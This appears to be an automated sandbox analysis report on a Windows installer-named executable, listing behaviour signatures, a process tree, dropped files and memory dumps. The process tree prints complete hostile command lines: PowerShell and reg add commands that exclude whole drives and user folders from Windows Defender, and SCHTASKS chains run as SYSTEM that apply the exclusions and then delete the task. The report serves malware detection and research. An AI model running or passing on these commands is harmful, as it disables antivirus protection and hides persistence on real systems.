Analysis

  • max time kernel
    144s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 09:09

General

  • Target
    inste_a3.1.3.10.exe
  • Size 37.7MB
  • Sample260825-k4x9bage62
  • SHA256 4fed095a5dad5c887e0feb2502844891a72acfca286f3fc602414a5a9f8f6697
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inste_a3.1.3.10.exe
    "C:\Users\Admin\AppData\Local\Temp\inste_a3.1.3.10.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1088
  • C:\Users\Public\gIWVy3\shj3yT.exe
    "C:\Users\Public\gIWVy3\shj3yT.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5220
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gIWVy3\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3032
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gIWVy3\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5052
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5020
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2596
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3364
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2768
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1932
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5560
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5544
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1428
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4688
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1408
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3536
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:548
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4256
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4580
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4320
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3760
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4348
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3556
                      • C:\Users\Public\gIWVy3\shj3yT.exe
                        "C:\Users\Public\gIWVy3\shj3yT.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1348
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\gIWVy3" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3892
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\gIWVy3" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4784
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:900
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1068
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:4296
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:696
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4568

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\gIWVy3\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 d40675da413cde36e2b495580241b00aff5296531c3fa5aa02753cf438723cc8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\gIWVy3\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 2b3ea19b3d6c7e3a70f6c86b26bb8e4c11e49ad97e74ecaaf79797ba1be3324a
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\gIWVy3\msadox.tb
                                  • Size 8KB
                                  • SHA256 084ab8c94411ed53d625626b82a463cd78ca855eaf3a73fa0c6716759f662c91
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  shj3yT.exe

                                  • Path C:\Users\Public\gIWVy3\shj3yT.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1088-1-0x00000000004E0000-0x00000000004EC000-memory.dmp

                                  memory/1088-503-0x00007FF91ACD0000-0x00007FF91ACE2000-memory.dmp

                                  memory/1088-523-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                  memory/1088-524-0x00007FF91ACD0000-0x00007FF91ACE2000-memory.dmp

                                  memory/1088-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                                  memory/1348-585-0x000001E6CAA70000-0x000001E6CB2F7000-memory.dmp

                                  memory/1348-571-0x00007FF903E10000-0x00007FF90432E000-memory.dmp

                                  memory/1348-577-0x00007FF926A40000-0x00007FF926A42000-memory.dmp

                                  memory/1348-578-0x000001E6CAA70000-0x000001E6CB2F7000-memory.dmp

                                  memory/1348-586-0x00007FF926A30000-0x00007FF926A32000-memory.dmp

                                  memory/1348-583-0x000001E6CAA70000-0x000001E6CB2F7000-memory.dmp

                                  memory/1348-584-0x000001E6CAA70000-0x000001E6CB2F7000-memory.dmp

                                  memory/1348-582-0x000001E6CAA70000-0x000001E6CB2F7000-memory.dmp

                                  memory/1348-575-0x000001E6CAA70000-0x000001E6CB2F7000-memory.dmp

                                  memory/5220-606-0x0000017AC1FF0000-0x0000017AC1FFA000-memory.dmp

                                  memory/5220-605-0x0000017ADA470000-0x0000017ADA522000-memory.dmp

                                  memory/5220-604-0x0000017AC1FD0000-0x0000017AC1FEE000-memory.dmp

                                  memory/5220-598-0x0000017AC1F70000-0x0000017AC1F92000-memory.dmp

                                  memory/5368-545-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-559-0x00000282859E0000-0x0000028285A6A000-memory.dmp

                                  memory/5368-562-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-565-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-564-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-556-0x00000282859E0000-0x0000028285A6A000-memory.dmp

                                  memory/5368-558-0x00000282859E0000-0x0000028285A6A000-memory.dmp

                                  memory/5368-560-0x00000282859E0000-0x0000028285A6A000-memory.dmp

                                  memory/5368-529-0x00007FF926A30000-0x00007FF926A32000-memory.dmp

                                  memory/5368-555-0x00000282858E0000-0x000002828592E000-memory.dmp

                                  memory/5368-549-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-530-0x00007FF903E10000-0x00007FF90432E000-memory.dmp

                                  memory/5368-544-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-543-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-538-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-542-0x00000282864A0000-0x0000028286D27000-memory.dmp

                                  memory/5368-537-0x00007FF926A40000-0x00007FF926A42000-memory.dmp

                                  memory/5368-535-0x00000282864A0000-0x0000028286D27000-memory.dmp